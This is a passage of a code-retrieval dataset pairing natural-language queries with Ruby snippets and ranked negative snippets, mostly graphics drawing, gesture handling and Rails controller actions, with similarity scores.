@build_map )\n #add_to_image_map(x1,[y1,y2].min,x2,[y1,y2].max,data_description[\"description\"][col_name],data[key][col_name].data_description[\"unit\"][\"y\"],\"oBar\")\n end\n draw_line(x1,y1,x2,y1,@palette[color_id][\"r\"],@palette[color_id][\"g\"],@palette[color_id][\"b\"],true)\n end\n end\n end\n x_pos = x_pos + @division_width\n end\n graph_id+=1\n end\n i=0\n while (i<=(graph_id-1))\n image_copy_merge(@layers[i],@picture,@g_area_x1,@g_area_y1,0,0,layer_width,layer_height,alpha)\n image_destroy(@layers[i])\n #\timage_destroy(@layers[i])\n i=i+1\n end\n end",
"def sc1\n c = gauge_back_color\n c.alpha = 75\n c\n end",
"def add_drawgradient_option(theOption)\n if @elementHash[:gradientoptions].nil?\n @elementHash[:gradientoptions] = [theOption]\n else\n @elementHash[:gradientoptions].push(theOption)\n end\n @elementHash[:gradientoptions]\n end",
"def draw\n # draw the \"background\" translucid energy bar\n super\n \n @energy = Engine::Game.game_state.energy\n # clip the opaque image to draw only the remaining energy\n Engine::Game.instance.clip_to(@x - @image.width / 2, @y - @image.height / 2, @energy * BarWidth, @image.height) do\n @image, @image_full = @image_full, @image # swap transparent and opaque images\n super # draw the \"foreground\" opaque var\n end\n \n @image, @image_full = @image_full, @image # back to normal\n end",
"def fill_gradient(options)\r\n default_options = { :from => Gosu::Color::BLACK,\r\n :to => Gosu::Color::WHITE,\r\n :thickness => 10, \r\n :orientation => :vertical,\r\n :rect => Rect.new([0, 0, $window.width, $window.height]),\r\n :zorder => 0,\r\n :mode => :default\r\n }\r\n options = default_options.merge(options)\r\n \r\n rect = Rect.new(options[:rect])\r\n colors = options[:colors] || options.values_at(:from, :to)\r\n \r\n case options[:orientation]\r\n when :vertical\r\n rect.height /= colors.count - 1\r\n colors.each_cons(2) do |from, to|\r\n $window.draw_quad( rect.left, rect.top, from,\r\n rect.right, rect.top, from,\r\n rect.right, rect.bottom, to,\r\n rect.left, rect.bottom, to,\r\n options[:zorder], options[:mode]\r\n )\r\n rect.top += rect.height\r\n end\r\n when :horizontal\r\n rect.width /= colors.count - 1\r\n colors.each_cons(2) do |from, to|\r\n $window.draw_quad( rect.left, rect.top, from,\r\n rect.left, rect.bottom, from,\r\n rect.right, rect.bottom, to,\r\n rect.right, rect.top, to,\r\n options[:zorder], options[:mode]\r\n )\r\n rect.left += rect.width\r\n end\r\n else\r\n raise ArgumentError, \"bad gradient orientation: #{options[:orientation]}\"\r\n end\r\n end",
"def backgroundColor\n self.layer.backgroundColor\n end",
"def add_grad(grad_t)\n p \"CALLED ADDGRAD\"\n if @grad_tensor\n @grad_tensor += grad_t\n else\n @grad_tensor = grad_t\n end\n end",
"def blend(fg, bg)\n (fg + bg) >> 1\n end",
"def blend(fg, bg)\n (fg + bg) >> 1\n end",
"def blur(row_index,col_index)\n update_cell(row_index+1, col_index,1)\n update_cell(row_index,col_index+1, 1)\n update_cell(row_index,col_index-1, 1)\n update_cell(row_index-1, col_index,1)\n end",
"def gradient_fill_region(x, y, a, b, c)\n return if invalid?(x, y)\n fill_region(x, y, c)\n colour(x, y, a)\n x = x.to_i\n y = y.to_i\n conditional_colour(x-1, y, b, c)\n conditional_colour(x+1, y, b, c)\n conditional_colour(x, y-1, b, c)\n conditional_colour(x, y+1, b, c)\n conditional_colour(x-1, y-1, b, c)\n conditional_colour(x+1, y-1, b, c)\n conditional_colour(x-1, y+1, b, c)\n conditional_colour(x+1, y+1, b, c) \n end",
"def sc2\n c = gauge_back_color\n c.alpha = 150\n c\n end",
"def update_background\n @background.x, @background.y, @background.z = 0,0,self.z - 1 #self.x, self.y, self.z - 1\n end",
"def draw_background\n @background.draw\n end",
"def gradated_background(columns, rows, top_color, bottom_color, direct = :top_bottom)\n gradient_fill = begin\n case direct\n when :bottom_top\n Magick::GradientFill.new(0, 0, 100, 0, bottom_color, top_color)\n when :left_right\n Magick::GradientFill.new(0, 0, 0, 100, top_color, bottom_color)\n when :right_left\n Magick::GradientFill.new(0, 0, 0, 100, bottom_color, top_color)\n when :topleft_bottomright\n Magick::GradientFill.new(0, 100, 100, 0, top_color, bottom_color)\n when :topright_bottomleft\n Magick::GradientFill.new(0, 0, 100, 100, bottom_color, top_color)\n else\n Magick::GradientFill.new(0, 0, 100, 0, top_color, bottom_color)\n end\n end\n\n image = Magick::Image.new(columns, rows, gradient_fill)\n @gradated_background_retry_count = 0\n\n image\n rescue StandardError => e\n @gradated_background_retry_count ||= 0\n GC.start\n\n if @gradated_background_retry_count < 3\n @gradated_background_retry_count += 1\n gradated_background(columns, rows, top_color, bottom_color, direct)\n else\n raise e\n end\n end",
"def linear_gradient(x1,y1,x2,y2,extend,*stops) \n g =LinearPattern.new(x1,y1,x2,y2) \n g.set_extend(eval(\"EXTEND_#{extend.to_s.upcase}\")) \n stops.each {|s| \n g.add_color_stop_rgba(*s)\n } \n return g \n end",
"def update_egg_glow\n glow_max = EGG_GLOW_END - EGG_GLOW_START\n @egg_color.alpha = (@counter - EGG_GLOW_START) * EGG_GLOW_FACTOR / glow_max if glow_max != 0\n @egg_sprite.set_color(@egg_color)\n end",
"def shading_colour=(colour)\n self.each {|cell| cell.shading_colour = colour}\n end",
"def draw()\n if visible \n c1 = self.color1\n c2 = self.color2\n gradient = c1 != c2\n if !active\n if gradient\n c1 = Color.inactive_gauge_color1\n c2 = Color.inactive_gauge_color2\n else\n c1 = c2 = Color.gauge_back_color\n end\n end\n \n if gradient\n bitmap.gradient_fill_rect(rect.x, rect.y, rect.width, \n rect.height, c1, c2, self.vertical)\n else\n bitmap.fill_rect(rect.x, rect.y, rect.width, rect.height, c1)\n end\n end\n end"
] | [
"0.57998306",
"0.55723685",
"0.5535494",
"0.5471663",
"0.53380674",
"0.52575535",
"0.52230936",
"0.5185467",
"0.5103527",
"0.5101402",
"0.50738084",
"0.5012597",
"0.4994323",
"0.49508253",
"0.49211848",
"0.49177206",
"0.48538604",
"0.48359537",
"0.48359025",
"0.48359025",
"0.48334616",
"0.48302233",
"0.48155794",
"0.48044962",
"0.4791362",
"0.47894573",
"0.4785241",
"0.47730064",
"0.4742515",
"0.4720942"
] | 0.66774964 | 0 |
add a layer that renders a green background when an item is complete | def item_complete_layer
@item_complete_layer ||= CALayer.layer.tap do |item_complete_layer|
item_complete_layer.backgroundColor = UIColor.alloc.initWithRed(0.0, green: 0.6, blue: 0.0, alpha: 1.0).CGColor
item_complete_layer.hidden = true
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def draw_item_background(index)\n if index == @pending_index\n contents.fill_rect(item_rect(index), pending_color)\n end\n end",
"def draw_item_background(index)\r\n if index == @pending_index\r\n contents.fill_rect(item_rect(index), pending_color)\r\n end\r\n end",
"def draw_advanced(rect, item) end",
"def draw_advanced(rect, item)\n end",
"def draw_item(index)\n change_color(normal_color, command_enabled?(index))\n end",
"def draw_completed? ; false ; end",
"def render_background\n render_unvisited\n render_grid_lines\n render_labels\n end",
"def draw\n\t\t# Complete the missing code\n\t\tdraw_background()\n\tend",
"def render_background\n render_unvisited\n render_grid_lines\n end",
"def draw_item_state(rect, item)\n case item.type\n when :separator\n draw_separator(rect, item)\n when :switch\n draw_switch(rect, item)\n when :variable\n draw_variable(rect, item)\n when :bar\n draw_bar(rect, item)\n when :advanced\n draw_advanced(rect, item)\n else\n # do nothing\n end\n end",
"def draw_item(index)\n #disegno l'oggetto\n end",
"def draw_item_state(rect, item)\n case item.type\n when :separator\n draw_separator(rect, item)\n when :switch\n draw_switch(rect, item)\n when :variable\n draw_variable(rect, item)\n when :bar\n draw_bar(rect, item)\n when :advanced\n draw_advanced(rect, item)\n end\n end",
"def green; end",
"def green; end",
"def draw()\n @ucIcon.draw()\n @cItemName.draw()\n @cItemNumber.draw()\n end",
"def draw()\n @ucIcon.draw()\n @cItemName.draw()\n @cItemNumber.draw()\n end",
"def backgroundColor\n self.layer.backgroundColor\n end",
"def success(*args)\n color(32, *args)\n end",
"def draw_item(index)\n item = @data[index]\n if item\n rect = item_rect(index)\n rect.width -= 4\n draw_item_name(item, rect.x, rect.y, enable?(item))\n draw_item_state(rect, item)\n end\n end",
"def rag(red, amber, green)\n self.push(:item => [{:value => red}, {:value => amber}, {:value => green}])\n end",
"def draw_item_forge_cost(item, rect, enabled)\n change_color normal_color, enabled\n rect.width -= 4\n draw_text(rect, sprintf(\"%d%s\", item.gold, Vocab.currency_unit), 2)\n end",
"def draw_item(index)\n end",
"def finish\n return if self.disposed?\n @viewport.color = Color.new(0, 0, 0, 0)\n 16.delta_add.times do\n @viewport.color.alpha += 32/self.delta\n self.wait\n end\n @viewport.color = Color.black\n self.dispose\n end",
"def green\n end",
"def refresh\n contents.clear\n return unless item\n enabled = $game_party.gold >= item.gold\n change_color(system_color, enabled)\n draw_text(line_rect(0), Vocab.required_gold)\n change_color(normal_color, enabled)\n # draw_icon(Forge_Settings::GOLD_ICON, 0, line_height)\n draw_text(line_rect(1), text, item.gold)\n change_color(system_color)\n draw_text(line_rect(2), Vocab.obtained_gold)\n change_color(normal_color)\n draw_text(line_rect(3), $game_party.gold)\n end",
"def updateBackground\n\t\tdrawMap()\n\tend",
"def draw()\n @ucIcon.draw()\n @cItemName.draw()\n @cItemPrice.draw()\n @cItemPossess.draw()\n @ucItemNumber.draw()\n end",
"def draw_item(index)\n rect = item_rect(index)\n self.contents.clear_rect(rect)\n item = @data[index]\n enabled = enable?(item)\n #draw_icon(item.icon_index, rect.x, rect.y, enabled)\n #contents.font.color.alpha = enabled ? 255 : translucent_alpha\n draw_item_name(item, rect.x, rect.y, enabled, contents_width)\n #draw_text(rect.x+24, rect.y, rect.width-24, WLH, item.name)\n text = sprintf('x%d', item_number(item))\n draw_text(rect.x + 24, rect.y, rect.width - 24, line_height, text, 2)\n end",
"def draw_item(index)\n change_color(normal_color)\n draw_text(item_rect_for_text(index), @targets[index].name)\n end",
"def draw_effect\n end"
] | [
"0.61697084",
"0.6160857",
"0.59142566",
"0.585799",
"0.56475645",
"0.56369257",
"0.5487685",
"0.54335743",
"0.53524053",
"0.5327761",
"0.5268604",
"0.5261656",
"0.5240675",
"0.5240675",
"0.52257746",
"0.52257746",
"0.52128273",
"0.5185468",
"0.51841706",
"0.5175293",
"0.5174232",
"0.51656497",
"0.5146555",
"0.51329607",
"0.51245713",
"0.5090161",
"0.5067431",
"0.5057423",
"0.50564116",
"0.5050436"
] | 0.74768335 | 0 |
handles the pan gesture during the begin, changed and ended states | def handle_pan(recognizer)
state_began(recognizer)
state_changed(recognizer)
state_ended(recognizer)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def state_began(recognizer)\n if recognizer.state == UIGestureRecognizerStateBegan\n gesture.original_center = self.center\n end\n end",
"def pan(direction = :left, distance_bp = (self.length_bp.to_f/5).round)\n upstream_slice = self.class.sketch.slices.select{|s| s.start_cumulative_bp < @start_cumulative_bp}.sort_by{|s| s.start_cumulative_bp}[-1]\n downstream_slice = self.class.sketch.slices.select{|s| s.start_cumulative_bp > @start_cumulative_bp}.sort_by{|s| s.stop_cumulative_bp}[0]\n\n #Check if we actually _can_ pan. Can't do that if the slice in the panned\n #direction has less basepairs than what we want to add to our slice in focus\n if ( direction == :left and upstream_slice.length_bp > distance_bp ) or\n ( direction == :right and downstream_slice.length_bp > distance_bp )\n\n #Just so we can always add the distance_pixel\n if direction == :left\n distance_bp = -distance_bp\n end\n\n @start_cumulative_bp += distance_bp\n @stop_cumulative_bp += distance_bp\n self.fetch_sequence\n\n upstream_slice.stop_cumulative_bp = @start_cumulative_bp - 1\n downstream_slice.start_cumulative_bp = @stop_cumulative_bp + 1\n [upstream_slice, downstream_slice].each do |s|\n s.length_bp = s.stop_cumulative_bp - s.start_cumulative_bp + 1\n s.resolution = s.length_pixel.to_f/s.length_bp\n s.range_cumulative_bp = Range.new(s.start_cumulative_bp, s.stop_cumulative_bp)\n s.fetch_sequence\n end\n self.class.sketch.slices.each{|s| s.format_resolution}\n\n self.class.sketch.buffer_images[:zoomed] = self.class.sketch.draw_zoomed_buffer\n self.class.sketch.buffer_images[:information_panel] = self.class.sketch.draw_information_panel\n end\n end",
"def pan(x_delta, y_delta, map_state = nil)\n update_session(map_state ? 2 : 1) do |xml|\n if map_state\n @map_state = map_state\n set_map_state xml\n end\n xml.Pan {\n xml.DeltaPoint {\n xml.X x_delta\n xml.Y y_delta\n }\n }\n end\n end",
"def recognizer\n recognizer ||= UIPanGestureRecognizer.alloc.initWithTarget(self, action: \"handle_pan:\").tap do |recognizer|\n recognizer.delegate = self\n end\n end",
"def touch_moved(touch); end",
"def mouse_pan(location)\n\n\t\tpan_x = (@dolly_pan_start_point[0] - location.x) / (900.0 / -@camera.view_position.z)\n\t\tpan_y = (@dolly_pan_start_point[1] - location.y) / (900.0 / -@camera.view_position.z)\n\n\t\t@camera.view_position.x -= pan_x\n\t\t@camera.view_position.y -= pan_y\n\n\t\t@dolly_pan_start_point\t= [location.x, location.y]\n\n\t\tupdate_camera_string\n\n\tend",
"def mapView(map_view, regionWillChangeAnimated:animated)\n @_map_moving_with_gesture = mapViewRegionDidChangeFromUserInteraction\n if delegate && delegate.respond_to?('map_will_move')\n delegate.map_will_move animated: animated,\n gesture: @_map_moving_with_gesture\n end\n end",
"def mouseDragged event\n end",
"def touch_began(touch); end",
"def dragEnterEvent(ev); end",
"def finish_gesture\r\n @point_poller.kill\r\n @current_gesture.convert_points_to_gesture\r\n @gestures << @current_gesture\r\n @recording = false\r\n @editing_gesture = false\r\n end",
"def process_movement\n # Delete the graphics associated to moving\n @ranges.each{|tile| tile.visible = false}\n @ranges = []\n @arrow_path.each{|a| a.dispose}\n @arrow_path = []\n # Move the cursor back to the selected unit\n proc = Proc.new{@selected_unit.selected = false\n @show_move = false\n @selected_unit.sprite.move(@passed_positions)\n @selected_unit.stop_capture if @passed_positions.size != 0}\n cursor.add_move_action(@selected_unit.x, @selected_unit.y, proc)\n # go to phase 3\n @phase = 3\n end",
"def moves\n # overridden in slideable/stepable modules\n end",
"def on_mouse_move(new_point)\n end",
"def draggable(renderer, event_handler_registry, handle_w, handle_h, region_rect, ui_state, &on_change)\n handle_x = ui_state[:handle_x] || 0\n handle_y = ui_state[:handle_y] || 0\n if !(ui_state[:pressed])\n evh = { type: :mouse_down, rect: Rect.new(handle_x, handle_y, handle_w, handle_h), callback: proc { |_ev|\n if !(ui_state[:pressed])\n ui_state[:pressed] = true\n yield(ui_state) if on_change\n true\n else\n false\n end\n } }\n event_handler_registry.register_event_handler(evh)\n else\n evh2 = { type: :mouse_move, callback: proc { |ev|\n if ui_state[:pressed] == true\n new_handle_x = (ui_state[:handle_x] || 0) + ev.xrel\n new_handle_x = region_rect.x if new_handle_x < region_rect.x\n new_handle_x = region_rect.x2 if new_handle_x > region_rect.x2\n\n new_handle_y = (ui_state[:handle_y] || 0) + ev.yrel\n new_handle_y = region_rect.y if new_handle_y < region_rect.y\n new_handle_y = region_rect.y2 if new_handle_y > region_rect.y2\n\n ui_state[:handle_x] = new_handle_x\n ui_state[:handle_y] = new_handle_y\n\n yield(ui_state) if on_change\n true\n else\n false\n end\n } }\n\n evh1 = { type: :mouse_up, callback: proc { |_ev|\n if ui_state[:pressed] == true\n ui_state[:pressed] = false\n yield(ui_state) if on_change\n true\n else\n false\n end\n } }\n\n event_handler_registry.register_event_handler(evh1)\n event_handler_registry.register_event_handler(evh2)\n end\nend",
"def new_gesture\r\n @editing_gesture = false\r\n @point_source.clear\r\n @point_poller = Thread.new do\r\n loop do\r\n begin\r\n @current_gesture.add_point(@point_source.take)\r\n rescue => e\r\n $stderr.puts \"Error when polling for points: #{e}\"\r\n end\r\n end\r\n end\r\n @current_gesture = Gesture.new\r\n @recording = true\r\n end",
"def draggingEnded(sender)\n puts \"draggingEnded\" if DEBUG\n end",
"def pan_view( x = 1, do_display = DO_DISPLAY )\n old_left_column = @left_column\n @left_column = [ @left_column + x, 0 ].max\n record_mark_start_and_end\n display if do_display\n @left_column - old_left_column\n end",
"def touchesMoved(touches, withEvent: event)\n return unless @valid_start_location\n touch = touches.anyObject\n point = touch.locationInView(self)\n case @current_tool\n when :squiggle\n a = @points[-1]\n b = point\n if (b - a).magnitude > Constants::MAGNITUDE_DISTANCE_BETWEEN_POINTS\n @points << point\n setNeedsDisplay\n end\n when :grab\n case @mode\n when :toys_only, :scene, :toy_selected\n if @delegate.is_a?(ActionAdderViewController)\n @drag = true\n @delegate.close_popover\n end\n touch_move_scene(point)\n else\n @current_point = point\n end\n setNeedsDisplay\n when :line, :circle\n @points[1] = point\n setNeedsDisplay\n end\n end",
"def gestureRecognizerShouldBegin(gesture_recognizer)\n translation = gesture_recognizer.translationInView(self.superview)\n \n return true if translation.x.abs > translation.y.abs\n false\n end",
"def dragging(button, x, y)\n# puts \"DRAGGING!\"\n @x = x\n @y = y\n end",
"def scrolled?(_point, direction)\n # translated_point = translate_pos(point)\n # puts \"Camera scrolled: #{point}->#{translated_point} #{direction}\"\n if direction == :down\n zoom_out # (translated_point)\n else\n zoom_in # (translated_point)\n end\n end",
"def process_movement\n # Move the cursor back to the selected unit\n proc = Proc.new{@unit.selected = false\n @unit.sprite.move(@passed_positions.clone)\n @unit.stop_capture if @passed_positions.size != 0\n @passed_positions = []}\n cursor.add_move_action(@unit.x, @unit.y, proc, 0, nil, true)\n # Delete the arrow path graphics and move-range tiles\n @arrow_path.each{|a| a.dispose}\n @arrow_path = []\n remove_ranges\n # Disable input, proceed to moving unit\n cursor.disable_input = true\n @phase = 4\n end",
"def prepareForDragOperation(sender)\n # NSLog(@\"prepareForDragOperation\");\n return true\n end",
"def process_cursor_move\n #==========================================================================\n # First we set oldpage to the current page number, so that we can check\n # if the page ended up changing. Then we check if the player has pressed\n # left - if they have and we are not on the first page, we go back a\n # page. After that we check if they have pressed right, and go forward if\n # we are not on the last page. Then we move on to scrolling up and down\n # within a page - if they hit up and are not at the top of the page, it\n # will scroll up, and if they hit down and are not at the bottom of the\n # page it will scroll down. After we are done checking for input, we\n # redraw the page if the page has changed.\n #==========================================================================\n if @changed\n @changed = false\n return\n end\n oldpage = @page\n if Input.trigger?(:LEFT) && 1 < @page\n @page -= 1\n elsif Input.trigger?(:RIGHT) && @page < max_pages\n @page += 1\n elsif ((Input.press?(:UP)) if Input.repeat?(:UP)) && self.oy > 0\n self.oy -= [scroll_speed, [0, (height+oy+contents_height-24)].min.abs].max\n draw_scroll\n elsif ((Input.press?(:DOWN)) if Input.repeat?(:DOWN))\n self.oy += [scroll_speed, [0, contents_height + 24 - height - oy].max].min\n draw_scroll\n end\n if oldpage != @page\n refresh and @changed = true\n end\n return true\n end",
"def move_task(initial, target)\n initial_x = initial.wd.location['x']\n initial_y = initial.wd.location['y']\n\n target_x = target.wd.location['x']\n target_y = target.wd.location['y']\n\n total_x = target_x - initial_x + 5\n total_y = target_y - initial_y + 5\n\n initial.when_present.drag_and_drop_by(total_x, total_y)\n sleep 1 #Allow for motion to happen\n end",
"def set_pan\n @pan = Pan.find(params[:id])\n end",
"def pbMapChangeMoveDependentEvents\n return\n end",
"def touchesBegan(touches, withEvent: event)\n\n #Get Touch coordinates\n touch = touches.anyObject\n point = touch.locationInView(self)\n\n #Check for Validity\n return unless valid_touch_location?(point)\n\n # Act Dependent on mode\n @current_point = point\n case @current_tool\n when :squiggle, :line, :circle\n @points = [@current_point]\n\n when :grab\n case @mode\n when :toys_only, :toy_selected\n touch_begin_toys_only\n when :scene\n touch_begin_scene\n when :create_new_toy\n if @selected.close_enough(@current_point)\n @drag = true\n end\n end\n end\n setNeedsDisplay\n end",
"def onLButtonUp(flags, x, y, view)\n # If we are doing a drag, then create the line on the mouse up event\n if( @dragging && @ip2.valid? )\n self.create_geometry(@ip1.position, @ip2.position,view)\n self.reset(view)\n end\nend"
] | [
"0.6504828",
"0.6124308",
"0.6041303",
"0.5915514",
"0.5508828",
"0.537555",
"0.5371902",
"0.5219702",
"0.51901394",
"0.51899475",
"0.5164238",
"0.5117866",
"0.500568",
"0.49543175",
"0.49146193",
"0.48829454",
"0.48391688",
"0.48352587",
"0.48334932",
"0.48081478",
"0.4763012",
"0.47390425",
"0.4733571",
"0.47307208",
"0.4725126",
"0.47194633",
"0.47002247",
"0.46916977",
"0.46823418",
"0.46539867"
] | 0.81243837 | 0 |
if the gesture has just started, record the current centre location | def state_began(recognizer)
if recognizer.state == UIGestureRecognizerStateBegan
gesture.original_center = self.center
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def update_capture_coord\n return true unless @piece_moving and @piece_moving.kind_of?(Pawn)\n if @piece_moving.is_en_passant_capture( from_coord, to_coord - from_coord , @board)\n self[:capture_coord] = (Position.new(to_coord) + [ - Sides[@piece_moving.side].advance_direction, 0]).to_s\n end\n end",
"def pos(event)\n @position = position(event)\n if diff.distance >= @start_distance.to_i && !@started\n @started = true\n trigger 'start', @target\n end\n event.stop\n end",
"def update_location\n self.x = screen_x unless self.disposed?\n self.y = screen_y unless self.disposed?\n end",
"def centre\n if location.geometry_type == RGeo::Feature::Point\n location\n else\n envelope = location.envelope\n if envelope.geometry_type == RGeo::Feature::Point\n envelope\n else\n envelope.centroid\n end\n end\n end",
"def centre\n if location.geometry_type == RGeo::Feature::Point\n location\n else\n envelope = location.envelope\n if envelope.geometry_type == RGeo::Feature::Point\n envelope\n else\n envelope.centroid\n end\n end\n end",
"def center\n\t\t\tcenter_x\n\t\t\tcenter_y\n\t\tend",
"def recenter!\n xa = 0\n old_center = @center\n #Sum up all points\n @points.each do |point|\n xa += point\n end\n #Average out data \n xa /= points.length\n #Reset center and return distance moved\n @center = xa\n return (old_center - center).abs\n end",
"def start_center\n if @place_loc.size > 0\n x, y = @place_loc.first\n @spriteset.cursor.center(x, y) \n elsif @actor_loc.keys.size > 0\n coord = @actor_loc.values.first\n @spriteset.cursor.center(coord.x, coord.y) \n elsif @neu_loc.keys.size > 0\n coord = @neu_loc.values.first\n @spriteset.cursor.center(coord.x, coord.y)\n end\n @spriteset.update\n end",
"def recalculate_center\n debug { puts \"Calculating center for: #{self}\" }\n if @members.empty?\n false\n else\n new_center_x = (@members.dup << @center).inject(0.0) { |result, member| result += member.x } / (members.size + 1)\n new_center_y = (@members.dup << @center).inject(0.0) { |result, member| result += member.y } / (members.size + 1)\n debug { puts \"Got new center: x = #{new_center_x} y = #{new_center_y}\" }\n new_center = Point.new(new_center_x, new_center_y)\n changed = new_center != @center\n @center = new_center\n changed\n end\n end",
"def home\n @coordinates = Coordinate.where(\"user_id=?\",current_user.id)\n if @coordinates.empty?\n @centerLatitude = 6.199733\n @centerLongitude = -75.578686\n else\n @centerLatitude = @coordinates.last.latitude\n @centerLongitude = @coordinates.last.longitude\n end\n end",
"def handle_pan(recognizer)\n state_began(recognizer)\n state_changed(recognizer)\n state_ended(recognizer)\n end",
"def center\n CGPointMake(@target.bounds.size.width, @target.bounds.size.height)\n end",
"def center_camera_tb(last_real_x, last_real_y)\n scene = SceneManager.scene\n return if !scene.is_a?(Scene_Map)\n \n scmap_evw = scene.instance_eval('@event_waiting_for')\n update_scroll(last_real_x, last_real_y) if scmap_evw && scmap_evw == @id\n end",
"def center\n self.bounds.center\n end",
"def fires_in\n\t\t\t@offset - @group.current_offset if @offset\n\t\tend",
"def center\n move(90)\n end",
"def update_anim_origin_reference\n @ani_ox = @anim_origin.screen_x\n @ani_oy = @anim_origin.screen_y\n end",
"def clicked(position:)\n d = position.dist(@location)\n return unless d < @mass\n\n @dragging = true\n @drag_offset = @location - position\n end",
"def centre\n @centre ||= world.point(x_min + width/2.0, y_min + height/2.0)\n end",
"def update_anim_origin_reference\n @ani_ox = @anim_origin.screen_x\n @ani_oy = @anim_origin.screen_y\n end",
"def update_anim_origin_reference\n @ani_ox = @anim_origin.screen_x\n @ani_oy = @anim_origin.screen_y\n end",
"def engage_engine\n if @map.contains(new_coord)\n @position = new_coord\n @log.push \"#{@position}\"\n else\n @log.push \"#{@position} #{@direction} - #{new_coord} is out of bounds. please check instructions\"\n end\n end",
"def gestureRecognizerShouldBegin(gesture_recognizer)\n translation = gesture_recognizer.translationInView(self.superview)\n \n return true if translation.x.abs > translation.y.abs\n false\n end",
"def center(x, y)\n return unless $game_map.target_camera == self\n if $game_map.camera_x_locked?\n $game_map.set_display_pos($game_map.display_x, y - center_y)\n elsif $game_map.camera_y_locked?\n $game_map.set_display_pos(x - center_x, $game_map.display_x)\n else\n rme_center(x, y)\n end\n end",
"def center_origins\n return if !self.bitmap\n self.ox = self.bitmap.width / 2\n self.oy = self.bitmap.height / 2\n end",
"def set_center\n @center = current_user.center\n end",
"def current_position\n @start_position + delta\n end",
"def set_finish_point\n self.reload\n if circle == \"1\"\n lp = points.first\n tracksegments.last.points.create(:longitude => lp.longitude, \n :latitude => lp.latitude, \n :elevation => lp.elevation)\n logger.info \"Finish point appended\"\n end\n end",
"def press(point)\n\t\t@origin = point\n\tend",
"def new_gesture\r\n @editing_gesture = false\r\n @point_source.clear\r\n @point_poller = Thread.new do\r\n loop do\r\n begin\r\n @current_gesture.add_point(@point_source.take)\r\n rescue => e\r\n $stderr.puts \"Error when polling for points: #{e}\"\r\n end\r\n end\r\n end\r\n @current_gesture = Gesture.new\r\n @recording = true\r\n end"
] | [
"0.5701011",
"0.56941617",
"0.568051",
"0.5619048",
"0.5619048",
"0.5536186",
"0.5532202",
"0.5503302",
"0.5472782",
"0.5348586",
"0.5341818",
"0.5327314",
"0.5315127",
"0.5301911",
"0.52323896",
"0.52316374",
"0.5228845",
"0.52192813",
"0.5213576",
"0.51983374",
"0.51983374",
"0.5189907",
"0.5186035",
"0.51631856",
"0.51363164",
"0.5128072",
"0.51264095",
"0.51199764",
"0.51190126",
"0.51157427"
] | 0.7157968 | 0 |
GET /giro_comercials GET /giro_comercials.json | def index
@giro_comercials = GiroComercial.all
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def index\n @colegios = Colegio.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @colegios }\n end\n end",
"def index\n @commemts = Commemt.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @commemts }\n end\n end",
"def index\n @cooperativas = Cooperativa.where(:status_id => Status.find_by_descricao('Ativo'))\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @cooperativas }\n end\n end",
"def index\n @socios = Socio.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @socios }\n end\n end",
"def index\n @comprobantes = Comprobante.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @comprobantes }\n end\n end",
"def index\n @conseilles = Conseille.all\n respond_to do |format|\n format.html\n format.json { render json: @conseilles}\n end\n end",
"def index\n logement = Logement.find_by(id:params[:logement_id])\n equipement = logement.equi_securites[0].title\n equipements = logement.equi_securites[0]\n\n render json: {\n securites:equipement,\n fichier:equipements\n }\n end",
"def show\n @colegio = Colegio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @colegio }\n end\n end",
"def index\n @cursos = Curso.all_active\n @curso = Curso.new\n @programas = Programa.all_active\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @cursos }\n end\n end",
"def index\n @commodities = Commodity.all\n\n respond_to do |format|\n format.html # index.html.erb\n @commoditis = Array.new\n format.json {\n @commodities = @commodities.select{|commodity|\n commoditi = Hash.new\n commodity.attributes.each do |key, value|\n commoditi[key] = value\n end\n commoditi[:links] = CommonActions.object_crud_paths(commodity_path(commodity), edit_commodity_path(commodity),\n commodity_path(commodity))\n @commoditis.push(commoditi)\n }\n render json: {:aaData => @commoditis}\n }\n end\n end",
"def show\n @comic = Comic.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @comic }\n end\n end",
"def show\n @comic = Comic.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @comic }\n end\n end",
"def index\n @concursos = Concurso.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @concursos }\n end\n end",
"def index\n @comisarias = Comisaria.all\n end",
"def set_giro_comercial\n @giro_comercial = GiroComercial.find(params[:id])\n end",
"def index\n @recipies = Recipy.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @recipies }\n end\n end",
"def index\n if params[:site_id].nil? or params[:site_id].empty?\n @comentarios = Comentario.all # path: /types\n else\n @comentarios = Site.find(params[:site_id]).comentarios # path: /sites/id/comentarios\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @comentarios }\n end\n end",
"def get\n @cine = Cine.find(params[:cine_id], :select => [\"nombre\",\"id\",\"direccion\",\"localidad\"])\n render :json => [ @cine, :peliculas => @cine.peliculas.select('titulo,horas,pelicula_id') ]\n end",
"def index\n @congressos = Congresso.all\n end",
"def index\n @clues = Clue.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @clues }\n end\n end",
"def index\n @comunities = Comunity.all\n end",
"def index\n @competencies = Competency.all\n respond_to do |format|\n format.json { render json: @competencies }\n end\n end",
"def show\n @competicao = Competicao.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @competicao }\n end\n end",
"def index\n \treclamos = Reclamo.all\n \trender json: reclamos.to_json(include: [:tipo_reclamo, :ubicacion, :user], methods: [:valoracion])\n end",
